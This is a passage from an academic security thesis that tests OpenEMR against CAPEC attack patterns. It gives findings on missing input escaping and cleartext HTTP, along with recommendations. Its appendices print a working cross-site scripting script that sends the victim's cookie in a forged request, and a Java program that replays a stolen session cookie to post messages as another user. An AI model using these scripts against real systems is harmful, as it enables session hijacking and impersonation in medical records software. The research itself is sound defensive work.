the number of fields that do not sanitize or escape the input supplied by a user. This gives the 
attacker a larger attack surface to attack the software. These fields need to escape the user input 
to avoid attacks such as cross site scripting, server side include injection. 
Moreover, it has been found that if OpenEMR is not configured to use secure channel 
such as HTTPS, it becomes susceptible to a number of data leakage attacks. In the research, 
OpenEMR became vulnerable to attack patterns under data leakage category were where HTTP 
was configured in the test. Wireshark and the session sidejacking tool Ferret and Hamster failed 
to capture the HTTP requests, responses and cookies where HTTPS was configured. 
5.1 Observations on Attack Patterns 
It was observed, however, that the attack patterns do not provide inappropriate detail 
about how the exploit can be carried out. This makes it quite difficult for a novice security tester 
to easily make use of the patterns. Even though he gets an understanding of how software under 
test may be exploited, he does not know exactly how to carry out the test. A tester with enough 
experience, on the other hand, will find the patterns readily useful and focus on the right things. 
Barnum and Sethi (2006) give reason attack patterns do not provide inappropriate details about 
actual exploits. The author postulates it ensures that attack patterns do not assist to educate the 
less skilled members of the black hat community.  
Nevertheless, despite the numerous benefits of attack patterns, it must be underscored 
that it is not the only useful tool for building secure software. Other tools can help too. They 
include misuse/abuse cases, threat models, attack trees, coding rules, knowledge of common 
weakness and vulnerabilities.  
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5.2 Recommendations on OpenEMR 
The following recommendations are made concerning OpenEMR:  
 OpenEMR should always be configured to use secure channel such as HTTPS 
 Secure Wi-Fi should be configured if mobile devices will access OpenEMR in the 
environment 
 Session ID length should be increased from 26 to at least 50 
 Input supplied by user must be escaped to avoid cross site scripting 
5.3 Future Research 
The CAPEC List is made up of about 475 entries. This is surely a big database and quite 
difficult to find what may be applicable in a particular instance. In this research, even though the 
scope was narrowed, it still took a long while to figure out exactly what applied to OpenEMR. 
Every attack pattern within the scope had to be perused to ascertain applicability. 
Future research will seek to develop a tool that simplifies the way of knowing which 
patterns apply in a particular instance given the make-up of the application. For example, given a 
Java application that runs on a server and makes use of web services, the tool should be able to 
search through the huge CAPEC List to fish out all relevant and applicable attack patterns. That 
way, the security tester can easily and quickly hone his testing on these attack patterns. Of course 
the tool should have few or no false positives.   
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Appendix A 
Below is the script that was used to steal cookie and create an HTTP request that sends a 
message to another user. Here, the attacker impersonates the user whose cookie is stolen.  
<script>     
   var Ajax=null; 
   Ajax=new XMLHttpRequest();     
   
Ajax.open("POST","http://localhost/openemr/interface/main/messages/messages.p
hp?showall=no&sortby=&sortorder=&begin=&form_active=1",true);  
   Ajax.setRequestHeader("User-agent","Mozilla/5.0 (Windows NT 5.1; rv:12.0) 
Gecko/20100101 Firefox/12.0");      
   Ajax.setRequestHeader("Accept-Language","en-us,en;q=0.5");     
   Ajax.setRequestHeader("Accept-Encoding","gzip, deflate");    
   
Ajax.setRequestHeader("Accept","text/html,application/xhtml+xml,application/x
ml;q=0.9,*/*;q=0.8");     
   Ajax.setRequestHeader("Cookie",document.cookie);    
   Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");     
   Ajax.setRequestHeader("Content-Length","185");   
   var 
content="noteid=&task=add&form_note_type=Other&assigned_to_text=Akowuah%2C+Em
manuel&assigned_to=cobby&users=cobby&form_patient=Boadi%2C+Benedicta&reply_to
=3&form_message_status=New&note=Jab+her";      
   Ajax.send(content);      
   alert(document.cookie);     
</script> 
 
 
38 
 
Appendix B 
Below is the java program that was used to steal cookie and create an HTTP request that 
sends a message to another user. Here, the attacker impersonates the user whose cookie is stolen.  
   import java.io.*; 
   import java.net.*; 
   public class HTTPSimpleForge { 
      public static void main(String[] args) throws IOException { 
         try { 
            int responseCode; 
            InputStream responseIn=null; 
         // URL to be forged. 
            URL url = new URL 
("http://192.168.0.18/openemr/interface/main/messages/messages.php?showall=no
&sortby=&sortorder=&begin=&form_active=1"); 
         // URLConnection instance is created to further parameterize a 
         // resource request past what the state members of URL instance 
         // can represent. 
            URLConnection urlConn = url.openConnection(); 
            if (urlConn instanceof HttpURLConnection) { 
               urlConn.setConnectTimeout(60000); 
               urlConn.setReadTimeout(90000); 
            } 
         // addRequestProperty method is used to add HTTP Header Information. 
         // Here we add User-Agent HTTP header to the forged HTTP packet. 
            urlConn.addRequestProperty("User-agent","Mozilla/5.0 (Windows NT 
5.1; rv:12.0) Gecko/20100101 Firefox/12.0"); 
            urlConn.addRequestProperty("Accept-Language","en-us,en;q=0.5"); 
            urlConn.addRequestProperty("Accept-Encoding","gzip, deflate"); 
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urlConn.addRequestProperty("Accept","text/html,application/xhtml+xml,applicat
ion/xml;q=0.9,*/*;q=0.8"); 
            urlConn.addRequestProperty("Connection", "keep-alive"); 
            
urlConn.addRequestProperty("Cookie","OpenEMR=gqgrvcr1o7l8812f8ad5969jg4"); 
            urlConn.addRequestProperty("Content-Type","application/x-www-
form-urlencoded"); 
            urlConn.addRequestProperty("Content-Length","185"); 
         //HTTP Post Data which includes the information to be sent to the 
server. 
            String 
data="noteid=&task=add&form_note_type=Other&assigned_to_text=Akowuah%2C+Emman
uel&assigned_to=cobby&users=cobby&form_patient=Boadi%2C+Benedicta&reply_to=3&
form_message_status=New&note=Jab+her"; 
         // DoOutput flag of URL Connection should be set to true 
         // to send HTTP POST message. 
            urlConn.setDoOutput(true); 
         // OutputStreamWriter is used to write the HTTP POST data 
         // to the url connection. 
            OutputStreamWriter wr = new 
OutputStreamWriter(urlConn.getOutputStream()); 
            wr.write(data); 
            wr.flush(); 
         // HttpURLConnection a subclass of URLConnection is returned by 
         // url.openConnection() since the url is an http request. 
            if (urlConn instanceof HttpURLConnection) { 
               HttpURLConnection httpConn = (HttpURLConnection) urlConn; 
            // Contacts the web server and gets the status code from 
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            // HTTP Response message. 
               responseCode = httpConn.getResponseCode(); 
               System.out.println("Response Code = " + responseCode); 
            // HTTP status code HTTP_OK means the response was 
            // received sucessfully. 
               if (responseCode == HttpURLConnection.HTTP_OK) { 
               // Get the input stream from url connection object. 
                  responseIn = urlConn.getInputStream(); 
               // Create an instance for BufferedReader 
               // to read the response line by line. 
                  BufferedReader buf_inp = new BufferedReader( 
                     new InputStreamReader(responseIn)); 
                  String inputLine; 
                  while((inputLine = buf_inp.readLine())!=null) { 
                     System.out.println(inputLine); 
                  } 
               } 
           } 
         }  
            catch (MalformedURLException e) { 
               e.printStackTrace(); 
            } 
      } 
   } 
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Appendix C 
Below are the analysis carried out by Burp Suite’s Sequencer 
 
Figure 13. Significant levels of session IDs generated by OpenEMR. 
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Figure 14. Character Count Analysis of session IDs generated by OpenEMR. 
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Figure 15. Character transition analysis of session IDs generated by OpenEMR. 
44 
 
 
Figure 16. Character set and maximum entropy bit of session IDs generated by OpenEMR. 
  
 
 
 
 
 
